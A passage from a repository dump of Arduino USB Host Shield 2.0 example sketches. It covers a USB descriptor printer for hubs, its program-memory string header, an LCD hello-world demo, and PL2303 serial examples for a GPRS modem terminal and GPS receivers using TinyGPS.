rcode = 0;\n  uint8_t num_conf = 0;\n\n  rcode = getdevdescr( (uint8_t)addr, num_conf );\n  if ( rcode ) {\n    printProgStr(Gen_Error_str);\n    print_hex( rcode, 8 );\n  }\n  Serial.print(\"\\r\\n\");\n\n  for (uint8_t i = 0; i < num_conf; i++) {\n    rcode = getconfdescr( addr, i );                 // get configuration descriptor\n    if ( rcode ) {\n      printProgStr(Gen_Error_str);\n      print_hex(rcode, 8);\n    }\n    Serial.println(\"\\r\\n\");\n  }\n}\n\nvoid PrintAllDescriptors(UsbDevice *pdev)\n{\n  Serial.println(\"\\r\\n\");\n  print_hex(pdev->address.devAddress, 8);\n  Serial.println(\"\\r\\n--\");\n  getallstrdescr(pdev->address.devAddress);\n  PrintDescriptors( pdev->address.devAddress );\n}\n\nvoid loop()\n{\n  Usb.Task();\n\n  if ( Usb.getUsbTaskState() == USB_STATE_RUNNING ) {\n    if ((int32_t)((uint32_t)millis() - next_time) >= 0L) {\n      Usb.ForEachUsbDevice(&PrintAllDescriptors);\n      Usb.ForEachUsbDevice(&PrintAllAddresses);\n\n      while ( 1 );                          //stop\n    }\n  }\n}\n\nuint8_t getdevdescr( uint8_t addr, uint8_t &num_conf )\n{\n  USB_DEVICE_DESCRIPTOR buf;\n  uint8_t rcode;\n  rcode = Usb.getDevDescr( addr, 0, DEV_DESCR_LEN, ( uint8_t *)&buf );\n  if ( rcode ) {\n    return ( rcode );\n  }\n  printProgStr(Dev_Header_str);\n  printProgStr(Dev_Length_str);\n  print_hex( buf.bLength, 8 );\n  printProgStr(Dev_Type_str);\n  print_hex( buf.bDescriptorType, 8 );\n  printProgStr(Dev_Version_str);\n  print_hex( buf.bcdUSB, 16 );\n  printProgStr(Dev_Class_str);\n  print_hex( buf.bDeviceClass, 8 );\n  printProgStr(Dev_Subclass_str);\n  print_hex( buf.bDeviceSubClass, 8 );\n  printProgStr(Dev_Protocol_str);\n  print_hex( buf.bDeviceProtocol, 8 );\n  printProgStr(Dev_Pktsize_str);\n  print_hex( buf.bMaxPacketSize0, 8 );\n  printProgStr(Dev_Vendor_str);\n  print_hex( buf.idVendor, 16 );\n  printProgStr(Dev_Product_str);\n  print_hex( buf.idProduct, 16 );\n  printProgStr(Dev_Revision_str);\n  print_hex( buf.bcdDevice, 16 );\n  printProgStr(Dev_Mfg_str);\n  print_hex( buf.iManufacturer, 8 );\n  printProgStr(Dev_Prod_str);\n  print_hex( buf.iProduct, 8 );\n  printProgStr(Dev_Serial_str);\n  print_hex( buf.iSerialNumber, 8 );\n  printProgStr(Dev_Nconf_str);\n  print_hex( buf.bNumConfigurations, 8 );\n  num_conf = buf.bNumConfigurations;\n  return ( 0 );\n}\n\nvoid printhubdescr(uint8_t *descrptr, uint8_t addr)\n{\n  HubDescriptor  *pHub = (HubDescriptor*) descrptr;\n  uint8_t        len = *((uint8_t*)descrptr);\n\n  printProgStr(PSTR(\"\\r\\n\\r\\nHub Descriptor:\\r\\n\"));\n  printProgStr(PSTR(\"bDescLength:\\t\\t\"));\n  Serial.println(pHub->bDescLength, HEX);\n\n  printProgStr(PSTR(\"bDescriptorType:\\t\"));\n  Serial.println(pHub->bDescriptorType, HEX);\n\n  printProgStr(PSTR(\"bNbrPorts:\\t\\t\"));\n  Serial.println(pHub->bNbrPorts, HEX);\n\n  printProgStr(PSTR(\"LogPwrSwitchMode:\\t\"));\n  Serial.println(pHub->LogPwrSwitchMode, BIN);\n\n  printProgStr(PSTR(\"CompoundDevice:\\t\\t\"));\n  Serial.println(pHub->CompoundDevice, BIN);\n\n  printProgStr(PSTR(\"OverCurrentProtectMode:\\t\"));\n  Serial.println(pHub->OverCurrentProtectMode, BIN);\n\n  printProgStr(PSTR(\"TTThinkTime:\\t\\t\"));\n  Serial.println(pHub->TTThinkTime, BIN);\n\n  printProgStr(PSTR(\"PortIndicatorsSupported:\"));\n  Serial.println(pHub->PortIndicatorsSupported, BIN);\n\n  printProgStr(PSTR(\"Reserved:\\t\\t\"));\n  Serial.println(pHub->Reserved, HEX);\n\n  printProgStr(PSTR(\"bPwrOn2PwrGood:\\t\\t\"));\n  Serial.println(pHub->bPwrOn2PwrGood, HEX);\n\n  printProgStr(PSTR(\"bHubContrCurrent:\\t\"));\n  Serial.println(pHub->bHubContrCurrent, HEX);\n\n  for (uint8_t i = 7; i < len; i++)\n    print_hex(descrptr[i], 8);\n\n  //for (uint8_t i=1; i<=pHub->bNbrPorts; i++)\n  //    PrintHubPortStatus(&Usb, addr, i, 1);\n}\n\nuint8_t getconfdescr( uint8_t addr, uint8_t conf )\n{\n  uint8_t buf[ BUFSIZE ];\n  uint8_t* buf_ptr = buf;\n  uint8_t rcode;\n  uint8_t descr_length;\n  uint8_t descr_type;\n  uint16_t total_length;\n  rcode = Usb.getConfDescr( addr, 0, 4, conf, buf );  //get total length\n  LOBYTE( total_length ) = buf[ 2 ];\n  HIBYTE( total_length ) = buf[ 3 ];\n  if ( total_length > 256 ) {   //check if total length is larger than buffer\n    printProgStr(Conf_Trunc_str);\n    total_length = 256;\n  }\n  rcode = Usb.getConfDescr( addr, 0, total_length, conf, buf ); //get the whole descriptor\n  while ( buf_ptr < buf + total_length ) { //parsing descriptors\n    descr_length = *( buf_ptr );\n    descr_type = *( buf_ptr + 1 );\n    switch ( descr_type ) {\n      case ( USB_DESCRIPTOR_CONFIGURATION ):\n        printconfdescr( buf_ptr );\n        break;\n      case ( USB_DESCRIPTOR_INTERFACE ):\n        printintfdescr( buf_ptr );\n        break;\n      case ( USB_DESCRIPTOR_ENDPOINT ):\n        printepdescr( buf_ptr );\n        break;\n      case 0x29:\n        printhubdescr( buf_ptr, addr );\n        break;\n      default:\n        printunkdescr( buf_ptr );\n        break;\n    }//switch( descr_type\n    buf_ptr = ( buf_ptr + descr_length );    //advance buffer pointer\n  }//while( buf_ptr <=...\n  return ( rcode );\n}\n\n// function to get all string descriptors\nuint8_t getallstrdescr(uint8_t addr)\n{\n  uint8_t rcode = 0;\n  Usb.Task();\n  if ( Usb.getUsbTaskState() >= USB_STATE_CONFIGURING ) { // state configuring or higher\n    USB_DEVICE_DESCRIPTOR buf;\n    rcode = Usb.getDevDescr( addr, 0, DEV_DESCR_LEN, ( uint8_t *)&buf );\n    if ( rcode ) {\n      return ( rcode );\n    }\n    Serial.println(\"String Descriptors:\");\n    if ( buf.iManufacturer > 0 ) {\n      Serial.print(\"Manufacturer:\\t\\t\");\n      rcode = getstrdescr( addr, buf.iManufacturer );   // get manufacturer string\n      if ( rcode ) {\n        Serial.println( rcode, HEX );\n      }\n      Serial.print(\"\\r\\n\");\n    }\n    if ( buf.iProduct > 0 ) {\n      Serial.print(\"Product:\\t\\t\");\n      rcode = getstrdescr( addr, buf.iProduct );        // get product string\n      if ( rcode ) {\n        Serial.println( rcode, HEX );\n      }\n      Serial.print(\"\\r\\n\");\n    }\n    if ( buf.iSerialNumber > 0 ) {\n      Serial.print(\"Serial:\\t\\t\\t\");\n      rcode = getstrdescr( addr, buf.iSerialNumber );   // get serial string\n      if ( rcode ) {\n        Serial.println( rcode, HEX );\n      }\n      Serial.print(\"\\r\\n\");\n    }\n  }\n  return rcode;\n}\n\n//  function to get single string description\nuint8_t getstrdescr( uint8_t addr, uint8_t idx )\n{\n  uint8_t buf[ 256 ];\n  uint8_t rcode;\n  uint8_t length;\n  uint8_t i;\n  uint16_t langid;\n  rcode = Usb.getStrDescr( addr, 0, 1, 0, 0, buf );  //get language table length\n  if ( rcode ) {\n    Serial.println(\"Error retrieving LangID table length\");\n    return ( rcode );\n  }\n  length = buf[ 0 ];      //length is the first byte\n  rcode = Usb.getStrDescr( addr, 0, length, 0, 0, buf );  //get language table\n  if ( rcode ) {\n    Serial.print(\"Error retrieving LangID table \");\n    return ( rcode );\n  }\n  langid = (buf[3] << 8) | buf[2];\n  rcode = Usb.getStrDescr( addr, 0, 1, idx, langid, buf );\n  if ( rcode ) {\n    Serial.print(\"Error retrieving string length \");\n    return ( rcode );\n  }\n  length = buf[ 0 ];\n  rcode = Usb.getStrDescr( addr, 0, length, idx, langid, buf );\n  if ( rcode ) {\n    Serial.print(\"Error retrieving string \");\n    return ( rcode );\n  }\n  for ( i = 2; i < length; i += 2 ) {   //string is UTF-16LE encoded\n    Serial.print((char) buf[i]);\n  }\n  return ( rcode );\n}\n\n/* prints hex numbers with leading zeroes */\n// copyright, Peter H Anderson, Baltimore, MD, Nov, '07\n// source: http://www.phanderson.com/arduino/arduino_display.html\nvoid print_hex(int v, int num_places)\n{\n  int mask = 0, n, num_nibbles, digit;\n\n  for (n = 1; n <= num_places; n++) {\n    mask = (mask << 1) | 0x0001;\n  }\n  v = v & mask; // truncate v to specified number of places\n\n  num_nibbles = num_places / 4;\n  if ((num_places % 4) != 0) {\n    ++num_nibbles;\n  }\n  do {\n    digit = ((v >> (num_nibbles - 1) * 4)) & 0x0f;\n    Serial.print(digit, HEX);\n  }\n  while (--num_nibbles);\n}\n\n/* function to print configuration descriptor */\nvoid printconfdescr( uint8_t* descr_ptr )\n{\n  USB_CONFIGURATION_DESCRIPTOR* conf_ptr = ( USB_CONFIGURATION_DESCRIPTOR* )descr_ptr;\n  printProgStr(Conf_Header_str);\n  printProgStr(Conf_Totlen_str);\n  print_hex( conf_ptr->wTotalLength, 16 );\n  printProgStr(Conf_Nint_str);\n  print_hex( conf_ptr->bNumInterfaces, 8 );\n  printProgStr(Conf_Value_str);\n  print_hex( conf_ptr->bConfigurationValue, 8 );\n  printProgStr(Conf_String_str);\n  print_hex( conf_ptr->iConfiguration, 8 );\n  printProgStr(Conf_Attr_str);\n  print_hex( conf_ptr->bmAttributes, 8 );\n  printProgStr(Conf_Pwr_str);\n  print_hex( conf_ptr->bMaxPower, 8 );\n  return;\n}\n\n/* function to print interface descriptor */\nvoid printintfdescr( uint8_t* descr_ptr )\n{\n  USB_INTERFACE_DESCRIPTOR* intf_ptr = ( USB_INTERFACE_DESCRIPTOR* )descr_ptr;\n  printProgStr(Int_Header_str);\n  printProgStr(Int_Number_str);\n  print_hex( intf_ptr->bInterfaceNumber, 8 );\n  printProgStr(Int_Alt_str);\n  print_hex( intf_ptr->bAlternateSetting, 8 );\n  printProgStr(Int_Endpoints_str);\n  print_hex( intf_ptr->bNumEndpoints, 8 );\n  printProgStr(Int_Class_str);\n  print_hex( intf_ptr->bInterfaceClass, 8 );\n  printProgStr(Int_Subclass_str);\n  print_hex( intf_ptr->bInterfaceSubClass, 8 );\n  printProgStr(Int_Protocol_str);\n  print_hex( intf_ptr->bInterfaceProtocol, 8 );\n  printProgStr(Int_String_str);\n  print_hex( intf_ptr->iInterface, 8 );\n  return;\n}\n\n/* function to print endpoint descriptor */\nvoid printepdescr( uint8_t* descr_ptr )\n{\n  USB_ENDPOINT_DESCRIPTOR* ep_ptr = ( USB_ENDPOINT_DESCRIPTOR* )descr_ptr;\n  printProgStr(End_Header_str);\n  printProgStr(End_Address_str);\n  print_hex( ep_ptr->bEndpointAddress, 8 );\n  printProgStr(End_Attr_str);\n  print_hex( ep_ptr->bmAttributes, 8 );\n  printProgStr(End_Pktsize_str);\n  print_hex( ep_ptr->wMaxPacketSize, 16 );\n  printProgStr(End_Interval_str);\n  print_hex( ep_ptr->bInterval, 8 );\n\n  return;\n}\n\n/*function to print unknown descriptor */\nvoid printunkdescr( uint8_t* descr_ptr )\n{\n  uint8_t length = *descr_ptr;\n  uint8_t i;\n  printProgStr(Unk_Header_str);\n  printProgStr(Unk_Length_str);\n  print_hex( *descr_ptr, 8 );\n  printProgStr(Unk_Type_str);\n  print_hex( *(descr_ptr + 1 ), 8 );\n  printProgStr(Unk_Contents_str);\n  descr_ptr += 2;\n  for ( i = 0; i < length; i++ ) {\n    print_hex( *descr_ptr, 8 );\n    descr_ptr++;\n  }\n}\n\n/* Print a string from Program Memory directly to save RAM */\nvoid printProgStr(const char* str)\n{\n  char c;\n  if (!str) return;\n  while ((c = pgm_read_byte(str++)))\n    Serial.print(c);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/hub_demo/pgmstrings.h",
    "content": "#if !defined(__PGMSTRINGS_H__)\n#define __PGMSTRINGS_H__\n\n#define LOBYTE(x) ((char*)(&(x)))[0]\n#define HIBYTE(x) ((char*)(&(x)))[1]\n#define BUFSIZE 256    //buffer size\n \n\n/* Print strings in Program Memory */\nconst char Gen_Error_str[] PROGMEM = \"\\r\\nRequest error. Error code:\\t\"; \nconst char Dev_Header_str[] PROGMEM =\"\\r\\nDevice descriptor: \";\nconst char Dev_Length_str[] PROGMEM =\"\\r\\nDescriptor Length:\\t\";\nconst char Dev_Type_str[] PROGMEM =\"\\r\\nDescriptor type:\\t\";\nconst char Dev_Version_str[] PROGMEM =\"\\r\\nUSB version:\\t\\t\";\nconst char Dev_Class_str[] PROGMEM =\"\\r\\nDevice class:\\t\\t\";\nconst char Dev_Subclass_str[] PROGMEM =\"\\r\\nDevice Subclass:\\t\";\nconst char Dev_Protocol_str[] PROGMEM =\"\\r\\nDevice Protocol:\\t\";\nconst char Dev_Pktsize_str[] PROGMEM =\"\\r\\nMax.packet size:\\t\";\nconst char Dev_Vendor_str[] PROGMEM =\"\\r\\nVendor  ID:\\t\\t\";\nconst char Dev_Product_str[] PROGMEM =\"\\r\\nProduct ID:\\t\\t\";\nconst char Dev_Revision_str[] PROGMEM =\"\\r\\nRevision ID:\\t\\t\";\nconst char Dev_Mfg_str[] PROGMEM =\"\\r\\nMfg.string index:\\t\";\nconst char Dev_Prod_str[] PROGMEM =\"\\r\\nProd.string index:\\t\";\nconst char Dev_Serial_str[] PROGMEM =\"\\r\\nSerial number index:\\t\";\nconst char Dev_Nconf_str[] PROGMEM =\"\\r\\nNumber of conf.:\\t\";\nconst char Conf_Trunc_str[] PROGMEM =\"Total length truncated to 256 bytes\";\nconst char Conf_Header_str[] PROGMEM =\"\\r\\nConfiguration descriptor:\";\nconst char Conf_Totlen_str[] PROGMEM =\"\\r\\nTotal length:\\t\\t\";\nconst char Conf_Nint_str[] PROGMEM =\"\\r\\nNum.intf:\\t\\t\";\nconst char Conf_Value_str[] PROGMEM =\"\\r\\nConf.value:\\t\\t\";\nconst char Conf_String_str[] PROGMEM =\"\\r\\nConf.string:\\t\\t\";\nconst char Conf_Attr_str[] PROGMEM =\"\\r\\nAttr.:\\t\\t\\t\";\nconst char Conf_Pwr_str[] PROGMEM =\"\\r\\nMax.pwr:\\t\\t\";\nconst char Int_Header_str[] PROGMEM =\"\\r\\n\\r\\nInterface descriptor:\";\nconst char Int_Number_str[] PROGMEM =\"\\r\\nIntf.number:\\t\\t\";\nconst char Int_Alt_str[] PROGMEM =\"\\r\\nAlt.:\\t\\t\\t\";\nconst char Int_Endpoints_str[] PROGMEM =\"\\r\\nEndpoints:\\t\\t\";\nconst char Int_Class_str[] PROGMEM =\"\\r\\nIntf. Class:\\t\\t\";\nconst char Int_Subclass_str[] PROGMEM =\"\\r\\nIntf. Subclass:\\t\\t\";\nconst char Int_Protocol_str[] PROGMEM =\"\\r\\nIntf. Protocol:\\t\\t\";\nconst char Int_String_str[] PROGMEM =\"\\r\\nIntf.string:\\t\\t\";\nconst char End_Header_str[] PROGMEM =\"\\r\\n\\r\\nEndpoint descriptor:\";\nconst char End_Address_str[] PROGMEM =\"\\r\\nEndpoint address:\\t\";\nconst char End_Attr_str[] PROGMEM =\"\\r\\nAttr.:\\t\\t\\t\";\nconst char End_Pktsize_str[] PROGMEM =\"\\r\\nMax.pkt size:\\t\\t\";\nconst char End_Interval_str[] PROGMEM =\"\\r\\nPolling interval:\\t\";\nconst char Unk_Header_str[] PROGMEM = \"\\r\\nUnknown descriptor:\";\nconst char Unk_Length_str[] PROGMEM =\"\\r\\nLength:\\t\\t\";\nconst char Unk_Type_str[] PROGMEM =\"\\r\\nType:\\t\\t\";\nconst char Unk_Contents_str[] PROGMEM =\"\\r\\nContents:\\t\";\n \n#endif // __PGMSTRINGS_H__"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/max_LCD/max_LCD.ino",
    "content": "// Just a copy of the HelloWorld example bundled with the LiquidCrystal library in the Arduino IDE\n\n// HD44780 compatible LCD display via MAX3421E GPOUT support header\n// pinout: D[4-7] -> GPOUT[4-7], RS-> GPOUT[2], E ->GPOUT[3]\n\n#include <max_LCD.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\nMax_LCD lcd(&Usb);\n\nvoid setup() {\n  // Set up the LCD's number of columns and rows:\n  lcd.begin(16, 2);\n  // Print a message to the LCD.\n  lcd.print(\"Hello, World!\");\n}\n\nvoid loop() {\n  // Set the cursor to column 0, line 1 (note: line 1 is the second row, since counting begins with 0):\n  lcd.setCursor(0, 1);\n  // Print the number of seconds since reset:\n  lcd.print((uint32_t)millis() / 1000);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/pl2303/pl2303_gprs_terminal/pl2303_gprs_terminal.ino",
    "content": "/* Arduino terminal for PL2303 USB to serial converter and DealeXtreme GPRS modem. */\n/* USB support */\n#include <usbhub.h>\n/* CDC support */\n#include <cdcacm.h>\n#include <cdcprolific.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nclass PLAsyncOper : public CDCAsyncOper\n{\npublic:\n    uint8_t OnInit(ACM *pacm);\n};\n\nuint8_t PLAsyncOper::OnInit(ACM *pacm)\n{\n    uint8_t rcode;\n\n    // Set DTR = 1\n    rcode = pacm->SetControlLineState(1);\n\n    if (rcode)\n    {\n        ErrorMessage<uint8_t>(PSTR(\"SetControlLineState\"), rcode);\n        return rcode;\n    }\n\n    LINE_CODING\tlc;\n    //lc.dwDTERate\t= 9600;\n    lc.dwDTERate = 115200;\n    lc.bCharFormat\t= 0;\n    lc.bParityType\t= 0;\n    lc.bDataBits\t= 8;\n\n    rcode = pacm->SetLineCoding(&lc);\n\n    if (rcode)\n        ErrorMessage<uint8_t>(PSTR(\"SetLineCoding\"), rcode);\n\n    return rcode;\n}\nUSB     Usb;\n//USBHub     Hub(&Usb);\nPLAsyncOper  AsyncOper;\nPL2303       Pl(&Usb, &AsyncOper);\n\nvoid setup()\n{\n  Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"Start\");\n\n  if (Usb.Init() == -1)\n      Serial.println(\"OSCOKIRQ failed to assert\");\n\n  delay( 200 );\n}\n\nvoid loop()\n{\n    Usb.Task();\n\n    if( Usb.getUsbTaskState() == USB_STATE_RUNNING )\n    {\n       uint8_t rcode;\n\n       /* reading the keyboard */\n       if(Serial.available()) {\n         uint8_t data= Serial.read();\n\n         /* sending to the phone */\n         rcode = Pl.SndData(1, &data);\n         if (rcode)\n            ErrorMessage<uint8_t>(PSTR(\"SndData\"), rcode);\n       }//if(Serial.available()...\n\n        /* reading the converter */\n        /* buffer size must be greater or equal to max.packet size */\n        /* it it set to 64 (largest possible max.packet size) here, can be tuned down\n        for particular endpoint */\n        uint8_t  buf[64];\n        uint16_t rcvd = 64;\n        rcode = Pl.RcvData(&rcvd, buf);\n         if (rcode && rcode != hrNAK)\n           ErrorMessage<uint8_t>(PSTR(\"Ret\"), rcode);\n\n           if( rcvd ) { //more than zero bytes received\n             for(uint16_t i=0; i < rcvd; i++ ) {\n               Serial.print((char)buf[i]); //printing on the screen\n             }\n           }//if( rcvd ...\n    }//if( Usb.getUsbTaskState() == USB_STATE_RUNNING..\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/pl2303/pl2303_gps/pl2303_gps.ino",
    "content": "/* USB Host to PL2303-based USB GPS unit interface */\n/* Navibee GM720 receiver - Sirf Star III */\n/* USB support */\n#include <usbhub.h>\n/* CDC support */\n#include <cdcacm.h>\n#include <cdcprolific.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nclass PLAsyncOper : public CDCAsyncOper {\npublic:\n        uint8_t OnInit(ACM *pacm);\n};\n\nuint8_t PLAsyncOper::OnInit(ACM *pacm) {\n        uint8_t rcode;\n\n        // Set DTR = 1\n        rcode = pacm->SetControlLineState(1);\n\n        if(rcode) {\n                ErrorMessage<uint8_t>(PSTR(\"SetControlLineState\"), rcode);\n                return rcode;\n        }\n\n        LINE_CODING lc;\n        lc.dwDTERate = 4800; //default serial speed of GPS unit\n        lc.bCharFormat = 0;\n        lc.bParityType = 0;\n        lc.bDataBits = 8;\n\n        rcode = pacm->SetLineCoding(&lc);\n\n        if(rcode)\n                ErrorMessage<uint8_t>(PSTR(\"SetLineCoding\"), rcode);\n\n        return rcode;\n}\n\nUSB Usb;\nUSBHub Hub(&Usb);\nPLAsyncOper AsyncOper;\nPL2303 Pl(&Usb, &AsyncOper);\nuint32_t read_delay;\n#define READ_DELAY 100\n\nvoid setup() {\n        Serial.begin(115200);\n#if !defined(__MIPSEL__)\n        while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n        Serial.println(\"Start\");\n\n        if(Usb.Init() == -1)\n                Serial.println(\"OSCOKIRQ failed to assert\");\n\n        delay(200);\n}\n\nvoid loop() {\n        uint8_t rcode;\n        uint8_t buf[64]; //serial buffer equals Max.packet size of bulk-IN endpoint\n        uint16_t rcvd = 64;\n\n        Usb.Task();\n\n        if(Pl.isReady()) {\n                /* reading the GPS */\n                if((int32_t)((uint32_t)millis() - read_delay) >= 0L) {\n                        read_delay += READ_DELAY;\n                        rcode = Pl.RcvData(&rcvd, buf);\n                        if(rcode && rcode != hrNAK)\n                                ErrorMessage<uint8_t>(PSTR(\"Ret\"), rcode);\n                        if(rcvd) { //more than zero bytes received\n                                for(uint16_t i = 0; i < rcvd; i++) {\n                                        Serial.print((char)buf[i]); //printing on the screen\n                                }//for( uint16_t i=0; i < rcvd; i++...\n                        }//if( rcvd\n                }//if( read_delay > millis()...\n        }//if( Usb.getUsbTaskState() == USB_STATE_RUNNING..\n}\n\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/pl2303/pl2303_tinygps/pl2303_tinygps.ino",
    "content": "/* USB Host to PL2303-based USB GPS unit interface */\n/* Navibee GM720 receiver - Sirf Star III */\n/* Mikal Hart's TinyGPS library */\n/* test_with_gps_device library example modified for PL2302 access */\n\n/* USB support */\n#include <usbhub.h>\n\n/* CDC support */\n#include <cdcacm.h>\n#include <cdcprolific.h>\n\n#include <TinyGPS.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\n/* This sample code demonstrates the normal use of a TinyGPS object.\n    Modified to be used with USB Host Shield Library r2.0\n    and USB Host Shield 2.0\n*/\n\nclass PLAsyncOper : public CDCAsyncOper\n{\npublic:\n    uint8_t OnInit(ACM *pacm);\n};\n\nuint8_t PLAsyncOper::OnInit(ACM *pacm)\n{\n    uint8_t rcode;\n\n    // Set DTR = 1\n    rcode = pacm->SetControlLineState(1);\n\n    if (rcode) {\n        ErrorMessage<uint8_t>(PSTR(\"SetControlLineState\"), rcode);\n        return rcode;\n    }\n\n    LINE_CODING lc;\n    lc.dwDTERate  = 4800;   //default serial speed of GPS unit\n    lc.bCharFormat  = 0;\n    lc.bParityType  = 0;\n    lc.bDataBits  = 8;\n\n    rcode = pacm->SetLineCoding(&lc);\n\n    if (rcode) {\n        ErrorMessage<uint8_t>(PSTR(\"SetLineCoding\"), rcode);\n    }\n\n    return rcode;\n}\n\nUSB     Usb;\n//USBHub     Hub(&Usb);\nPLAsyncOper  AsyncOper;\nPL2303       Pl(&Usb, &AsyncOper);\nTinyGPS gps;\n\nvoid gpsdump(TinyGPS &gps);\nbool feedgps();\nvoid printFloat(double f, int16_t digits = 2);\n\nvoid setup()\n{\n\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n\n  Serial.print(\"Testing TinyGPS library v. \"); Serial.println(TinyGPS::library_version());\n  Serial.println(\"by Mikal Hart\");\n  Serial.println();\n  Serial.print(\"Sizeof(gpsobject) = \"); Serial.println(sizeof(TinyGPS));\n  Serial.println();\n  /* USB Initialization */\n  if (Usb.Init() == -1) {\n      Serial.println(\"OSCOKIRQ failed to assert\");\n  }\n\n  delay( 200 );\n}\n\nvoid loop()\n{\n  Usb.Task();\n\n  if( Pl.isReady()) {\n\n    bool newdata = false;\n    uint32_t start = (uint32_t)millis();\n\n    // Every 5 seconds we print an update\n    while ((int32_t)((uint32_t)millis() - start) < 5000) {\n      if( feedgps()) {\n        newdata = true;\n      }\n    }//while (millis()...\n\n    if (newdata) {\n      Serial.println(\"Acquired Data\");\n      Serial.println(\"-------------\");\n      gpsdump(gps);\n      Serial.println(\"-------------\");\n      Serial.println();\n    }//if( newdata...\n  }//if( Usb.getUsbTaskState() == USB_STATE_RUNNING...\n}\n\nvoid printFloat(double number, int16_t digits)\n{\n  // Handle negative numbers\n  if (number < 0.0)\n  {\n     Serial.print('-');\n     number = -number;\n  }\n\n  // Round correctly so that print(1.999, 2) prints as \"2.00\"\n  double rounding = 0.5;\n  for (uint8_t i=0; i<digits; ++i)\n    rounding /= 10.0;\n\n  number += rounding;\n\n  // Extract the integer part of the number and print it\n  uint32_t int_part = (uint32_t)number;\n  double remainder = number - (double)int_part;\n  Serial.print(int_part);\n\n  // Print the decimal point, but only if there are digits beyond\n  if (digits > 0)\n    Serial.print(\".\");\n\n  // Extract digits from the remainder one at a time\n  while (digits-- > 0)\n  {\n    remainder *= 10.0;\n    int toPrint = int(remainder);\n    Serial.print(toPrint);\n    remainder -= toPrint;\n  }\n}\n\nvoid gpsdump(TinyGPS &gps)\n{\n  long lat, lon;\n  float flat, flon;\n  unsigned long age, date, time, chars;\n  int year;\n  uint8_t month, day, hour, minute, second, hundredths;\n  unsigned short sentences, failed;\n\n  gps.get_position(&lat, &lon, &age);\n  Serial.print(\"Lat/Long(10^-5 deg): \"); Serial.print(lat); Serial.print(\", \"); Serial.print(lon);\n  Serial.print(\" Fix age: \"); Serial.print(age); Serial.println(\"ms.\");\n\n  feedgps(); // If we don't feed the gps during this long routine, we may drop characters and get checksum errors\n\n  gps.f_get_position(&flat, &flon, &age);\n  Serial.print(\"Lat/Long(float): \"); printFloat(flat, 5); Serial.print(\", \"); printFloat(flon, 5);\n  Serial.print(\" Fix age: \"); Serial.print(age); Serial.println(\"ms.\");\n\n  feedgps();\n\n  gps.get_datetime(&date, &time, &age);\n  Serial.print(\"Date(ddmmyy): \"); Serial.print(date); Serial.print(\" Time(hhmmsscc): \"); Serial.print(time);\n  Serial.print(\" Fix age: \"); Serial.print(age); Serial.println(\"ms.\");\n\n  feedgps();\n\n  gps.crack_datetime(&year, &month, &day, &hour, &minute, &second, &hundredths, &age);\n  Serial.print(\"Date: \"); Serial.print(static_cast<int>(month)); Serial.print(\"/\"); Serial.print(static_cast<int>(day)); Serial.print(\"/\"); Serial.print(year);\n  Serial.print(\"  Time: \"); Serial.print(static_cast<int>(hour)); Serial.print(\":\"); Serial.print(static_cast<int>(minute)); Serial.print(\":\"); Serial.print(static_cast<int>(second)); Serial.print(\".\"); Serial.print(static_cast<int>(hundredths));\n  Serial.print(\"  Fix age: \");  Serial.print(age); Serial.println(\"ms.\");\n\n  feedgps();\n\n  Serial.print(\"Alt(cm): \"); Serial.print(gps.altitude()); Serial.print(\" Course(10^-2 deg): \"); Serial.print(gps.course()); Serial.print(\" Speed(10^-2 knots): \"); Serial.println(gps.speed());\n  Serial.print(\"Alt(float): \"); printFloat(gps.f_altitude()); Serial.print(\" Course(float): \"); printFloat(gps.f_course()); Serial.println();\n  Serial.print(\"Speed(knots): \"); printFloat(gps.f_speed_knots()); Serial.print(\" (mph): \");  printFloat(gps.f_speed_mph());\n  Serial.print(\" (mps): \"); printFloat(gps.f_speed_mps()); Serial.print(\" (kmph): \"); printFloat(gps.f_speed_kmph()); Serial.println();\n\n  feedgps();\n\n  gps.stats(&chars, &sentences, &failed);\n  Serial.print(\"Stats: characters: \"); Serial.print(chars); Serial.print(\" sentences: \"); Serial.print(sentences); Serial.print(\" failed checksum: \"); Serial.println(failed);\n}\n\nbool feedgps()\n{\n  uint8_t rcode;\n  uint8_t  buf[64];    //serial buffer equals Max.packet size of bulk-IN endpoint\n  uint16_t rcvd = 64;\n    {\n        /* reading the GPS */\n        rcode = Pl.RcvData(&rcvd, buf);\n         if (rcode && rcode != hrNAK)\n            ErrorMessage<uint8_t>(PSTR(\"Ret\"), rcode);\n            rcode = false;\n            if( rcvd ) { //more than zero bytes received\n              for( uint16_t i=0; i < rcvd; i++ ) {\n                if( gps.encode((char)buf[i])) { //feed a character to gps object\n                  rcode = true;\n                }//if( gps.encode(buf[i]...\n              }//for( uint16_t i=0; i < rcvd; i++...\n            }//if( rcvd...\n    }\n  return( rcode );\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/pl2303/pl2303_xbee_terminal/pl2303_xbee_terminal.ino",
